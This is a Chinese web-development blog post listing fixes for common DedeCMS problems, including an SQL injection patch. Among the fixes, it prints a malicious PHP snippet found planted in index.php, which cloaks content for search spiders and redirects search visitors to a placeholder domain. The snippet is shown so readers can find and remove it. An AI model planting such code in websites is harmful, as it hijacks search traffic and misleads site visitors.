織夢(dedecms)常見故障問題解決方案
閱讀 ?·? 發布日期 2019-05-20 22:26 ?·? admin給DEDECMS客戶改版時遇到的一些問題,不能保證完全解決,但是基本可以處理織夢常見故障,網站建設提示:請勿使用什么商業破解版,請使用正版程序!
如果遇到織夢其他問題無法解決,請點擊聯系這里,我們免費為您提供故障問題解決方案!
dede模塊管理空白或沒有列表內容的解決辦法 :
模塊管理完全空白解決:
下載個和你網站相同版本的DEDE程序,然后找到include/dedemodule.class.php,把這個文件上傳到你的網站目錄下(相同路徑),系統會詢問要不要提示覆蓋,按確定就好了。其實這也算是織夢的一個BUG吧。模塊管理再也不是空白了。
模塊管理沒有內容解決:
把之前有內容的/data/module/moduleurllist.txt文件拷貝到新空間上/data/module/下就OK了
PHP5.3提示Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini解決方案:
部分使用PHP 5.3的主機可能會有下面的提示:
(PHP 5.3 and above) Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini
由于在PHP最新的版本中增加了一個配置項目“request_order”,默認值為“GP”,這個存在一定的安全風險。這里我們建議用戶將配置更改為“CGP”,可以在phpinfo中查看對應的php.ini配置目錄,找到下面選項:
request_order = "GP" 更改為: request_order = "CGP"
重啟服務器,解決!
dede安裝出現時提示dir錯誤:
開該install文件夾,刪除兩個文件已經修改兩個文件。刪除install_lock.txt、index.html,修改index.php.bak、module-install.php.bak將其后綴.bak去掉即可。
防范百度快照劫持注入代碼:
織夢百度快照劫持注入代碼防范及清除,很多站長做站的過程中,都碰過百度快照被劫持等問題,明明已經修復模板文件了,還是沒有更新回正常的快照,以織夢系統為例,
往往根目錄/index.php也被植入惡意代碼
代碼如下:
<?php if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo $str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target="http://域名.com/index.html"; header("Location:".$target); exit; }} ?>
單這段代碼就直接把搜索引擎蜘蛛搞暈,帶到別的惡意網址去。
把其刪掉,如果在index.php里沒找到,但還是存在類似的問題,可以用notepad++全站搜索下。
album_add.php文件SQL注入漏洞修復方法:
阿里云ECS 安騎士提示織夢DEDECMS /member/album_add.php文件中,對輸入參數mtypesid未進行int整型轉義,導致SQL注入的發生。
修復方法:
打開dedecms/member/album_add.php文件,查找以下代碼(大約220行左右)
$description = HtmlReplace($description, -1);
將上面的代碼替換為:
$description = HtmlReplace($description, -1); $mtypesid = intval($mtypesid);
QQ一鍵登錄插件返回空白解決方法:
修改織夢網站時,遇到個QQ一鍵登錄返回是空白的問題,找了好久沒發現什么原因,最后才知道原因在于服務器,因為騰訊OAuth2.0采用的是https協議進行數據請求,QQ一鍵登錄插件采用curl拓展對數據進行抓取,有些站長并未開啟curl拓展,所以導致返回空白的狀況。
解決方案:
找到php.ini文件找到
;extension=php_curl.dl ;extension=php_openssl.dll
將“;”刪除,重啟服務器,完美解決。
解決dedecms5.7不能采集分頁的解決辦法:
程序默認不會采集分頁,也就是采集的時候只會采集到指定url的第一頁的修改方法。現在好啦,通過不懈的努力,終于找到了解決辦法。
解決方案:
打開文件\include\dedecollection.class.php,1116行左右有這么一條代碼:
if($status = TRUE || $urlnum >= $mytotal) break;
直接注釋掉或刪掉就可以了,如果沒有找到 ,可以使用查找功能 查找這段代碼,問題出現在dedecms5.7的一個小bug,大家可以再自由發揮下,更多方法還是要靠自己去發掘的。
解決織夢dedecms升級出現 Unknown column 'dutyadmin' in 'field list'的問題:
今天有位朋友加我QQ,說他升級到5.5之后出現問題,添加文章的時候出現:Unknown column 'dutyadmin' in 'field list',經檢查發現,可能是下錯升級包了。
解決方案:
系統>>SQL命令行工具>>運行SQL命令行
ALTER TABLE `dede_archives` ADD `dutyadmin` MEDIUMINT( 8 ) UNSIGNED DEFAULT '0' NOT NULL; ALTER TABLE `dede_archives` ADD `tackid` INT( 10 ) DEFAULT '0' NOT NULL ;
運行后,問題解決。
解決channel標簽currentstyle樣式無效不起作用的錯誤方法:
用織夢系統制作網站時,經常會用到channel標簽來調子欄目。但是,很多朋友會遇到這種情況在使用channel標簽來調子欄目的時候,指定 “type=son typeid=x” 發現currentstyle無效。
解決方案:
修改include/taglib/channel.lib.php
if( ($row['id']==$typeid || ($topid==$row['id'] && $type=='top') ) && $currentstyle!='' )
修改為
if( ( $row['id']== $refObj->TypeLink->TypeInfos['id'] || ($topid==$row['id'] && $type=='top') ) && $currentstyle!='' )
經測試這種調用方式currentstyle有效,可以解決解決channel標簽currentstyle樣式無效不起作用的問題。
為您推薦
-
襯塑管網站建設_網頁定制制作與開發 2020-01-12
-
保溫管網站建設_網頁定制制作與開發 2020-01-12
-
玻璃管網站建設_網頁定制制作與開發 2020-01-12
-
鍍鋅方矩管網站建設_網頁定制制作與 2020-01-12
-
PVC管材網站建設_網頁定制制作與開發 2020-01-12